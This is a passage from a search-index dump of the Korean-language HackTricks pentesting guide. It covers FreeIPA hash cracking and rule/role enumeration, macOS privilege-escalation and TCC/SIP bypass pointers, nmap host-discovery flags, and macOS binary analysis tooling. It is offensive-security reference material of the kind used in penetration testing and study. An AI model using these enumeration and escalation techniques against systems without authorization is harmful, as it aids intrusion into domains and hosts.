hash 를 찾아야 합니다 -> John The Ripper 또는 hashcat 이 크랙하는 데 도움을 줄 수 있습니다. • 최신 버전의 FreeIPA가 사용되는 경우, PBKDF2_SHA256 이 사용됩니다: base64 를 decode 한 후 PBKDF2_SHA256을 찾아야 합니다 -> 길이는 256 바이트입니다. John은 256 비트(32 바이트)로 작업할 수 있습니다 -> SHA-265가 의사 난수 함수로 사용되며, 블록 크기는 32 바이트입니다 -> PBKDF2_SHA256 해시의 처음 256 비트만 사용할 수 있습니다 -> John The Ripper 또는 hashcat이 크랙하는 데 도움을 줄 수 있습니다. 해시를 추출하려면 FreeIPA 서버의 root 가 되어야 하며, 그곳에서 dbscan 도구를 사용하여 추출할 수 있습니다:","breadcrumbs":"FreeIPA Pentesting » Hashes","id":"2004","title":"Hashes"},"2005":{"body":"사용자 또는 호스트에 자원(호스트, 서비스, 서비스 그룹 등)에 대한 특정 권한을 부여하는 규칙이 있습니다. bash # Enumerate using ldap\\nldapsearch -Y gssapi -b \\"cn=hbac,dc=domain_name,dc=local\\"\\n# Using ipa\\nipa hbacrule-find\\n# Show info of rule\\nipa hbacrule-show --all Sudo-Rules FreeIPA는 sudo-rules를 통해 sudo 권한 에 대한 중앙 집중식 제어를 가능하게 합니다. 이러한 규칙은 도메인 내 호스트에서 sudo로 명령을 실행할 수 있도록 허용하거나 제한합니다. 공격자는 이러한 규칙 세트를 검토하여 적용 가능한 호스트, 사용자 및 허용된 명령을 식별할 수 있습니다. bash # Enumerate using ldap\\nldapsearch -Y gssapi -b \\"cn=sudorules,cn=sudo,dc=domain_name,dc=local\\"\\n# Using ipa\\nipa sudorule-find\\n# Show info of rule\\nipa sudorule-show --all","breadcrumbs":"FreeIPA Pentesting » HBAC-Rules","id":"2005","title":"HBAC-Rules"},"2006":{"body":"A role 는 다양한 privileges 로 구성되며, 각 privilege는 permissions 의 모음을 포함합니다. 이러한 역할은 사용자, 사용자 그룹 , 호스트 , 호스트 그룹 및 서비스에 할당될 수 있습니다. 예를 들어, 이 구조를 설명하기 위해 FreeIPA의 기본 “User Administrator” 역할을 고려해 보십시오. 역할 User Administrator는 다음과 같은 privileges를 가지고 있습니다: User Administrators Group Administrators Stage User Administrators 다음 명령어를 사용하여 역할, privileges 및 permissions를 열거할 수 있습니다: bash # Using ldap\\nldapsearch -Y gssapi -b \\"cn=roles,cn=accounts,dc=westeros,dc=local\\"\\n# Using ipa binary\\nipa role-find\\nipa role-show --all\\nipa privilege-find\\nipa privilege-show --all\\nipa permission-find\\nipa permission-show --all","breadcrumbs":"FreeIPA Pentesting » 역할 기반 접근 제어","id":"2006","title":"역할 기반 접근 제어"},"2007":{"body":"https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e 에서 도메인을 손상시키기 위해 일부 권한을 악용하는 간단한 예시를 찾을 수 있습니다.","breadcrumbs":"FreeIPA Pentesting » 공격 시나리오 예시","id":"2007","title":"공격 시나리오 예시"},"2008":{"body":"https://github.com/Orange-Cyberdefense/LinikatzV2 https://github.com/CiscoCXSecurity/linikatz","breadcrumbs":"FreeIPA Pentesting » Linikatz/LinikatzV2","id":"2008","title":"Linikatz/LinikatzV2"},"2009":{"body":"","breadcrumbs":"FreeIPA Pentesting » 권한 상승","id":"2009","title":"권한 상승"},"201":{"body":"Reading time: 12 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24","breadcrumbs":"Pentesting Network » Nmap Summary (ESP) » Nmap 요약 (ESP)","id":"201","title":"Nmap 요약 (ESP)"},"2010":{"body":"warning 만약 root라는 이름의 새 사용자를 생성할 수 있다면 , 그를 가장할 수 있으며 root로 모든 머신에 SSH로 접속할 수 있습니다. 이것은 패치되었습니다. 자세한 설명은 https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b 에서 확인할 수 있습니다.","breadcrumbs":"FreeIPA Pentesting » root 사용자 생성","id":"2010","title":"root 사용자 생성"},"2011":{"body":"https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1 https://www.youtube.com/watch?v=9dOu-7BTwPQ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"FreeIPA Pentesting » 참고자료","id":"2011","title":"참고자료"},"2012":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS 보안 및 권한 상승","id":"2012","title":"macOS 보안 및 권한 상승"},"2013":{"body":"macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합니다: 특별한 macOS 파일 및 권한: macOS Files, Folders, Binaries & Memory 일반적인 macOS 사용자 macOS Users & External Accounts AppleFS macOS AppleFS 커널 의 아키텍처 macOS Kernel & System Extensions 일반적인 macOS n 네트워크 서비스 및 프로토콜 macOS Network Services & Protocols 오픈소스 macOS: https://opensource.apple.com/ tar.gz를 다운로드하려면 https://opensource.apple.com/ source /dyld/ 와 같은 URL을 https://opensource.apple.com/ tarballs /dyld/ dyld-852.2.tar.gz 로 변경하세요.","breadcrumbs":"macOS Security & Privilege Escalation » 기본 MacOS","id":"2013","title":"기본 MacOS"},"2014":{"body":"기업에서 macOS 시스템은 MDM으로 관리될 가능성이 높습니다 . 따라서 공격자의 관점에서 그 작동 방식을 아는 것이 흥미롭습니다 : macOS MDM","breadcrumbs":"macOS Security & Privilege Escalation » MacOS MDM","id":"2014","title":"MacOS MDM"},"2015":{"body":"macOS Apps - Inspecting, debugging and Fuzzing","breadcrumbs":"macOS Security & Privilege Escalation » MacOS - 검사, 디버깅 및 퍼징","id":"2015","title":"MacOS - 검사, 디버깅 및 퍼징"},"2016":{"body":"macOS Security Protections","breadcrumbs":"macOS Security & Privilege Escalation » MacOS 보안 보호","id":"2016","title":"MacOS 보안 보호"},"2017":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » 공격 표면","id":"2017","title":"공격 표면"},"2018":{"body":"루트로 실행되는 프로세스가 사용자가 제어할 수 있는 파일에 쓰면, 사용자는 이를 악용하여 권한을 상승시킬 수 있습니다 . 이는 다음과 같은 상황에서 발생할 수 있습니다: 사용자가 이미 생성한 파일(사용자가 소유) 사용자가 그룹 때문에 쓸 수 있는 파일 사용자가 파일을 생성할 수 있는 사용자가 소유한 디렉토리 내의 파일 루트가 소유한 디렉토리 내의 파일이지만 사용자가 그룹 때문에 쓰기 권한이 있는 경우(사용자가 파일을 생성할 수 있음) 루트에 의해 사용될 파일을 생성할 수 있는 것은 사용자가 그 내용의 이점을 취하거나 심지어 심볼릭 링크/하드 링크 를 만들어 다른 위치를 가리키게 할 수 있게 합니다. 이러한 종류의 취약성에 대해서는 취약한 .pkg 설치 프로그램을 확인하는 것을 잊지 마세요 : macOS Installers Abuse","breadcrumbs":"macOS Security & Privilege Escalation » 파일 권한","id":"2018","title":"파일 권한"},"2019":{"body":"파일 확장자로 등록된 이상한 앱은 악용될 수 있으며, 특정 프로토콜을 열기 위해 다양한 애플리케이션이 등록될 수 있습니다. macOS File Extension & URL scheme app handlers","breadcrumbs":"macOS Security & Privilege Escalation » 파일 확장자 및 URL 스킴 앱 핸들러","id":"2019","title":"파일 확장자 및 URL 스킴 앱 핸들러"},"202":{"body":"","breadcrumbs":"Pentesting Network » Nmap Summary (ESP) » 매개변수","id":"202","title":"매개변수"},"2020":{"body":"macOS에서 애플리케이션과 바이너리는 폴더나 설정에 접근할 수 있는 권한을 가질 수 있으며, 이는 다른 것들보다 더 특권을 부여합니다. 따라서 macOS 기계를 성공적으로 침해하려는 공격자는 TCC 권한을 상승시켜야 합니다 (또는 필요에 따라 SIP를 우회해야 합니다 ). 이러한 권한은 일반적으로 애플리케이션이 서명된 권한 의 형태로 주어지거나, 애플리케이션이 일부 접근을 요청하고 사용자가 이를 승인한 후 TCC 데이터베이스 에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 그 권한을 가진 프로세스의 자식 이 되는 것입니다. 이 권한은 일반적으로 상속됩니다 . 다양한 방법으로 TCC에서 권한을 상승시키는 방법 , TCC를 우회하는 방법 및 과거에 SIP가 우회된 방법 을 찾으려면 이 링크를 따르세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS TCC / SIP 권한 상승","id":"2020","title":"macOS TCC / SIP 권한 상승"},"2021":{"body":"물론 레드 팀의 관점에서 루트로 상승하는 것에도 관심이 있어야 합니다. 다음 게시물을 확인하여 몇 가지 힌트를 얻으세요: macOS Privilege Escalation","breadcrumbs":"macOS Security & Privilege Escalation » macOS 전통적인 권한 상승","id":"2021","title":"macOS 전통적인 권한 상승"},"2022":{"body":"https://github.com/usnistgov/macos_security","breadcrumbs":"macOS Security & Privilege Escalation » macOS 준수","id":"2022","title":"macOS 준수"},"2023":{"body":"OS X 사고 대응: 스크립팅 및 분석 https://taomm.org/vol1/analysis.html https://github.com/NicolasGrimonpont/Cheatsheet https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ https://www.youtube.com/watch?v=vMGiplQtjTY tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » 참고 문헌","id":"2023","title":"참고 문헌"},"2024":{"body":"Reading time: 22 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » macOS 앱 - 검사, 디버깅 및 퍼징","id":"2024","title":"macOS 앱 - 검사, 디버깅 및 퍼징"},"2025":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 정적 분석","id":"2025","title":"정적 분석"},"2026":{"body":"bash otool -L /bin/ls #List dynamically linked libraries\\notool -tv /bin/ps #Decompile application bash objdump -m --dylibs-used /bin/ls #List dynamically linked libraries\\nobjdump -m -h /bin/ls # Get headers information\\nobjdump -m --syms /bin/ls # Check if the symbol table exists to get function names\\nobjdump -m --full-contents /bin/ls # Dump every section\\nobjdump -d /bin/ls # Dissasemble the binary\\nobjdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour bash nm -m ./tccd # List of symbols","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » otool & objdump & nm","id":"2026","title":"otool & objdump & nm"},"2027":{"body":"You can download disarm from here . bash ARCH=arm64e disarm -c -i -I --signature /path/bin # Get bin info and signature\\nARCH=arm64e disarm -c -l /path/bin # Get binary sections\\nARCH=arm64e disarm -c -L /path/bin # Get binary commands (dependencies included)\\nARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...)\\nARCH=arm64e disarm -c -d /path/bin # Get disasembled\\njtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info 여기에서 jtool2를 다운로드하세요 또는 brew로 설치할 수 있습니다. bash # Install\\nbrew install --cask jtool2 jtool2 -l /bin/ls # Get commands (headers)\\njtool2 -L /bin/ls # Get libraries\\njtool2 -S /bin/ls # Get symbol info\\njtool2 -d /bin/ls # Dump binary\\njtool2 -D /bin/ls # Decompile binary # Get signature information\\nARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Automator # Get MIG information\\njtool2 -d __DATA.__const myipc_server | grep MIG [!CAUTION] > jtool은 disarm으로 대체되었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » jtool2 & Disarm","id":"2027","title":"jtool2 & Disarm"},"2028":{"body":"[!TIP] > **Codesign**은 macOS 에서 찾을 수 있으며, **ldid**는 iOS 에서 찾을 수 있습니다. bash # Get signer\\ncodesign -vv -d /bin/ls 2>&1 | grep -E \\"Authority|TeamIdentifier\\" # Check if the app’s contents have been modified\\ncodesign --verify --verbose /Applications/Safari.app # Get entitlements from the binary\\ncodesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms # Check if the signature is valid\\nspctl --assess --verbose /Applications/Safari.app # Sign a binary\\ncodesign -s toolsdemo # Get signature info\\nldid -h # Get entitlements\\nldid -e # Change entilements\\n## /tmp/entl.xml is a XML file with the new entitlements to add\\nldid -S/tmp/entl.xml ","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Codesign / ldid","id":"2028","title":"Codesign / ldid"},"2029":{"body":"SuspiciousPackage 는 .pkg 파일(설치 프로그램)을 검사하고 설치하기 전에 내부 내용을 확인하는 데 유용한 도구입니다. 이 설치 프로그램에는 악성 코드 작성자가 일반적으로 악성 코드 를 지속 시키기 위해 남용하는 preinstall 및 postinstall bash 스크립트가 포함되어 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » SuspiciousPackage","id":"2029","title":"SuspiciousPackage"},"203":{"body":",: IP를 직접 지정 -iL : list_IPs -iR : 랜덤 IP의 수, --exclude 또는 --excludefile 로 가능한 IP를 제외할 수 있습니다.","breadcrumbs":"Pentesting Network » Nmap Summary (ESP) » 스캔할 IP","id":"203","title":"스캔할 IP"},"2030":{"body":"이 도구는 Apple 디스크 이미지( .dmg ) 파일을 마운트 하여 실행하기 전에 검사할 수 있도록 합니다: bash hdiutil attach ~/Downloads/Firefox\\\\ 58.0.2.dmg It will be mounted in /Volumes","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » hdiutil","id":"2030","title":"hdiutil"},"2031":{"body":"높은 엔트로피 확인 문자열 확인 (이해할 수 있는 문자열이 거의 없으면, 패킹됨) MacOS용 UPX 패커는 \\"__XHDR\\"라는 섹션을 생성합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Packed binaries","id":"2031","title":"Packed binaries"},"2032":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Static Objective-C analysis","id":"2032","title":"Static Objective-C analysis"},"2033":{"body":"caution Objective-C로 작성된 프로그램은 Mach-O binaries 로 컴파일될 때 클래스 선언을 유지 합니다. 이러한 클래스 선언에는 다음이 포함 됩니다: 정의된 인터페이스 인터페이스 메서드 인터페이스 인스턴스 변수 정의된 프로토콜 이 이름들은 이진 파일의 리버싱을 더 어렵게 만들기 위해 난독화될 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Metadata","id":"2033","title":"Metadata"},"2034":{"body":"Objective-C를 사용하는 이진 파일에서 함수가 호출될 때, 컴파일된 코드는 해당 함수를 호출하는 대신 **objc_msgSend**를 호출합니다. 이는 최종 함수를 호출하게 됩니다: 이 함수가 기대하는 매개변수는 다음과 같습니다: 첫 번째 매개변수 ( self )는 \\"메시지를 받을 클래스의 인스턴스를 가리키는 포인터 \\"입니다. 더 간단히 말하면, 메서드가 호출되는 객체입니다. 메서드가 클래스 메서드인 경우, 이는 클래스 객체의 인스턴스(전체)이며, 인스턴스 메서드의 경우, self는 클래스의 인스턴스화된 인스턴스를 객체로 가리킵니다. 두 번째 매개변수 ( op )는 \\"메시지를 처리하는 메서드의 선택자\\"입니다. 다시 말해, 이는 단순히 메서드의 이름 입니다. 나머지 매개변수는 메서드(op)에 의해 필요한 값들 입니다. 이 정보를 ARM64에서 lldb로 쉽게 얻는 방법 을 이 페이지에서 확인하세요: Introduction to ARM64v8 x64: Argument Register (for) objc_msgSend 1st argument rdi self: method가 호출되는 객체 2nd argument rsi op: 메서드의 이름 3rd argument rdx 메서드에 대한 1st argument 4th argument rcx 메서드에 대한 2nd argument 5th argument r8 메서드에 대한 3rd argument 6th argument r9 메서드에 대한 4th argument 7th+ argument rsp+(스택에서) 메서드에 대한 5th+ argument","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Function calling","id":"2034","title":"Function calling"},"2035":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Dump ObjectiveC metadata","id":"2035","title":"Dump ObjectiveC metadata"},"2036":{"body":"Dynadump 는 Objective-C 이진 파일을 클래스 덤프하는 도구입니다. GitHub에서는 dylibs를 명시하지만, 실행 파일에도 작동합니다. bash ./dynadump dump /path/to/bin 작성 당시, 이것이 현재 가장 잘 작동하는 것 입니다. 일반 도구 bash nm --dyldinfo-only /path/to/bin\\notool -ov /path/to/bin\\nobjdump --macho --objc-meta-data /path/to/bin class-dump class-dump 는 ObjectiveC 형식 코드에서 클래스, 카테고리 및 프로토콜에 대한 선언을 생성하는 원래 도구입니다. 오래되었고 유지 관리되지 않아서 제대로 작동하지 않을 수 있습니다. ICDump iCDump 는 현대적이고 크로스 플랫폼 Objective-C 클래스 덤프입니다. 기존 도구와 비교할 때, iCDump는 Apple 생태계와 독립적으로 실행될 수 있으며 Python 바인딩을 노출합니다. python import icdump\\nmetadata = icdump.objc.parse(\\"/path/to/bin\\") print(metadata.to_decl())","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Dynadump","id":"2036","title":"Dynadump"},"2037":{"body":"Swift 바이너리의 경우, Objective-C 호환성 덕분에 때때로 class-dump 를 사용하여 선언을 추출할 수 있지만 항상 그런 것은 아닙니다. jtool -l 또는 otool -l 명령어를 사용하면 __swift5 접두사로 시작하는 여러 섹션을 찾을 수 있습니다: bash jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks\\nLC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO\\nLC 01: LC_SEGMENT_64 Mem: 0x100000000-0x100028000 __TEXT\\n[...]\\nMem: 0x100026630-0x100026d54 __TEXT.__swift5_typeref\\nMem: 0x100026d60-0x100027061 __TEXT.__swift5_reflstr\\nMem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd\\nMem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture\\n[...] 이 섹션에 저장된 정보에 대한 추가 정보는 이 블로그 게시물에서 확인할 수 있습니다 . 게다가, Swift 바이너리는 기호를 가질 수 있습니다 (예를 들어, 라이브러리는 함수가 호출될 수 있도록 기호를 저장해야 합니다). **기호는 일반적으로 함수 이름과 속성에 대한 정보를 보기 좋지 않게 가지고 있으므로 매우 유용하며, 원래 이름을 얻을 수 있는 \\" 디망글러 \\"가 있습니다: bash # Ghidra plugin\\nhttps://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py # Swift cli\\nswift demangle","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Static Swift 분석","id":"2037","title":"Static Swift 분석"},"2038":{"body":"warning 이진 파일을 디버깅하려면 SIP를 비활성화해야 합니다 (csrutil disable 또는 csrutil enable --without debug) 또는 이진 파일을 임시 폴더로 복사하고 서명을 제거해야 합니다 codesign --remove-signature 또는 이진 파일의 디버깅을 허용해야 합니다 (이 스크립트 를 사용할 수 있습니다). warning macOS에서 시스템 이진 파일 (예: cloudconfigurationd)을 계측 하려면 SIP를 비활성화해야 합니다 (서명만 제거하는 것으로는 작동하지 않습니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 동적 분석","id":"2038","title":"동적 분석"},"2039":{"body":"macOS는 프로세스에 대한 정보를 제공하는 몇 가지 흥미로운 API를 노출합니다: proc_info: 각 프로세스에 대한 많은 정보를 제공하는 주요 API입니다. 다른 프로세스 정보를 얻으려면 루트 권한이 필요하지만 특별한 권한이나 mach 포트는 필요하지 않습니다. libsysmon.dylib: XPC로 노출된 함수를 통해 프로세스에 대한 정보를 얻을 수 있게 해주지만, com.apple.sysmond.client 권한이 필요합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » API","id":"2039","title":"API"},"204":{"body":"기본적으로 Nmap은 다음과 같은 탐지 단계를 시작합니다: -PA80 -PS443 -PE -PP -sL : 비침습적이며, 이름을 해결하기 위해 DNS 요청을 하는 대상을 나열합니다. 예를 들어 www.prueba.es/24의 모든 IP가 우리의 대상인지 확인하는 데 유용합니다. -Pn : 핑 없음 . 모든 IP가 활성화되어 있다고 알고 있을 때 유용합니다(그렇지 않으면 많은 시간을 낭비할 수 있지만, 이 옵션은 비활성이라고 잘못 판단할 수 있습니다), 탐지 단계를 방지합니다. -sn : 포트 스캔 없음 . 정찰 단계를 완료한 후 포트를 스캔하지 않습니다. 상대적으로 은밀하며, 소규모 네트워크 스캔을 허용합니다. 권한이 있는 경우 80에 ACK(-PA), 443에 SYN(-PS), 에코 요청 및 타임스탬프 요청을 보냅니다. 권한이 없는 경우 항상 연결을 완료합니다. 대상이 네트워크인 경우 ARP(-PR)만 사용합니다. 다른 옵션과 함께 사용하면 다른 옵션의 패킷만 드롭됩니다. -PR : 핑 ARP . 네트워크의 컴퓨터를 분석할 때 기본적으로 사용되며, 핑을 사용하는 것보다 빠릅니다. ARP 패킷을 사용하고 싶지 않으면 --send-ip를 사용하세요. -PS : SYN 패킷을 보내며, SYN/ACK로 응답하면 열려 있고(RST로 응답하여 연결을 종료하지 않음), RST로 응답하면 닫혀 있으며 응답이 없으면 도달할 수 없습니다. 권한이 없는 경우 자동으로 전체 연결이 사용됩니다. 포트가 주어지지 않으면 80으로 전송됩니다. -PA : 이전과 같지만 ACK를 사용하며, 두 가지를 결합하면 더 나은 결과를 얻습니다. -PU : 목표는 반대이며, 닫혀 있을 것으로 예상되는 포트로 전송됩니다. 일부 방화벽은 TCP 연결만 확인합니다. 닫혀 있으면 포트 도달 불가로 응답하고, 다른 ICMP로 응답하거나 응답이 없으면 도달할 수 없는 것으로 남겨집니다. -PE, -PP, -PM : ICMP 핑: 에코 응답, 타임스탬프 및 주소 마스크. 대상이 활성화되어 있는지 확인하기 위해 전송됩니다. -PY : 기본적으로 80에 SCTP INIT 프로브를 전송하며, INIT-ACK(열림) 또는 ABORT(닫힘) 또는 아무것도 또는 ICMP 도달 불가(비활성)로 응답할 수 있습니다. -PO : 헤더에 프로토콜을 지정하며, 기본적으로 1(ICMP), 2(IGMP) 및 4(Encap IP)입니다. ICMP, IGMP, TCP (6) 및 UDP (17) 프로토콜의 경우 프로토콜 헤더가 전송되며, 나머지 경우에는 IP 헤더만 전송됩니다. 이는 헤더의 잘못된 형식으로 인해 프로토콜 도달 불가 또는 동일 프로토콜의 응답을 통해 활성 상태인지 확인하기 위한 것입니다. -n : DNS 없음 -R : 항상 DNS","breadcrumbs":"Pentesting Network » Nmap Summary (ESP) » 장비 탐지","id":"204","title":"장비 탐지"},"2040":{"body":"스택샷팅 은 프로세스의 상태를 캡처하는 데 사용되는 기술로, 모든 실행 중인 스레드의 호출 스택을 포함합니다. 이는 디버깅, 성능 분석 및 특정 시점에서 시스템의 동작을 이해하는 데 특히 유용합니다. iOS 및 macOS에서는 sample 및 **spindump**와 같은 여러 도구와 방법을 사용하여 스택샷팅을 수행할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 스택샷 및 마이크로스택샷","id":"2040","title":"스택샷 및 마이크로스택샷"},"2041":{"body":"이 도구 (/usr/bini/ysdiagnose)는 기본적으로 ps, zprint와 같은 수십 가지 명령을 실행하여 컴퓨터에서 많은 정보를 수집합니다... 루트 권한으로 실행해야 하며, 데몬 /usr/libexec/sysdiagnosed는 com.apple.system-task-ports 및 get-task-allow와 같은 매우 흥미로운 권한을 가지고 있습니다. 그의 plist는 /System/Library/LaunchDaemons/com.apple.sysdiagnose.plist에 위치하며, 3개의 MachServices를 선언합니다: com.apple.sysdiagnose.CacheDelete: /var/rmp의 오래된 아카이브를 삭제합니다. com.apple.sysdiagnose.kernel.ipc: 특별 포트 23 (커널) com.apple.sysdiagnose.service.xpc: Libsysdiagnose Obj-C 클래스를 통한 사용자 모드 인터페이스. 사전 정의된 세 가지 인수를 딕셔너리로 전달할 수 있습니다 (compress, display, run)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Sysdiagnose","id":"2041","title":"Sysdiagnose"},"2042":{"body":"MacOS는 애플리케이션을 실행할 때 무엇을 하고 있는지 이해하는 데 매우 유용할 수 있는 많은 로그를 생성합니다. 게다가, 태그가 포함된 로그가 있어 사용자 또는 컴퓨터 식별 가능한 정보를 숨깁니다 . 그러나 이 정보를 공개하기 위해 인증서를 설치할 수 있습니다 . 여기 의 설명을 따르세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 통합 로그","id":"2042","title":"통합 로그"},"2043":{"body":"왼쪽 패널 Hopper의 왼쪽 패널에서는 이진 파일의 기호( Labels ), 절차 및 함수 목록( Proc ), 문자열( Str )을 볼 수 있습니다. 이들은 모든 문자열이 아니라 Mac-O 파일의 여러 부분에 정의된 문자열입니다 (예: cstring 또는 objc_methname). 중간 패널 중간 패널에서는 디스어셈블된 코드 를 볼 수 있습니다. 원시 디스어셈블, 그래프, 디컴파일된 코드 및 이진 코드로 각각의 아이콘을 클릭하여 볼 수 있습니다: 코드 객체를 오른쪽 클릭하면 해당 객체에 대한 참조 를 보거나 이름을 변경할 수 있습니다 (이것은 디컴파일된 의사 코드에서는 작동하지 않습니다): 또한, 중간 하단에서 파이썬 명령을 입력할 수 있습니다 . 오른쪽 패널 오른쪽 패널에서는 탐색 기록 (현재 상황에 도달한 방법을 알 수 있음), 호출 그래프 (이 함수를 호출하는 모든 함수와 이 함수가 호출하는 모든 함수), 로컬 변수 정보와 같은 흥미로운 정보를 볼 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Hopper","id":"2043","title":"Hopper"},"2044":{"body":"사용자가 애플리케이션에 매우 저수준 으로 접근할 수 있게 해주며, 사용자가 프로그램을 추적 하고 실행 흐름을 변경할 수 있는 방법을 제공합니다. Dtrace는 프로브 를 사용하며, 이는 커널 전역에 배치 되어 시스템 호출의 시작과 끝과 같은 위치에 있습니다. DTrace는 각 시스템 호출에 대한 프로브를 생성하기 위해 dtrace_probe_create 함수를 사용합니다. 이러한 프로브는 각 시스템 호출의 진입 및 종료 지점 에서 발사될 수 있습니다. DTrace와의 상호작용은 /dev/dtrace를 통해 이루어지며, 이는 루트 사용자만 사용할 수 있습니다. tip SIP 보호를 완전히 비활성화하지 않고 Dtrace를 활성화하려면 복구 모드에서 다음을 실행할 수 있습니다: csrutil enable --without dtrace 또한 dtrace 또는 dtruss 이진 파일을 컴파일한 경우 사용할 수 있습니다. dtrace의 사용 가능한 프로브는 다음과 같이 얻을 수 있습니다: bash dtrace -l | head\\nID PROVIDER MODULE FUNCTION NAME\\n1 dtrace BEGIN\\n2 dtrace END\\n3 dtrace ERROR\\n43 profile profile-97\\n44 profile profile-199 프로브 이름은 제공자, 모듈, 함수 및 이름의 네 부분으로 구성됩니다: (fbt:mach_kernel:ptrace:entry). 이름의 일부를 지정하지 않으면 Dtrace는 해당 부분을 와일드카드로 적용합니다. DTrace를 구성하여 프로브를 활성화하고 프로브가 작동할 때 수행할 작업을 지정하려면 D 언어를 사용해야 합니다. 자세한 설명과 더 많은 예제는 https://illumos.org/books/dtrace/chp-intro.html 에서 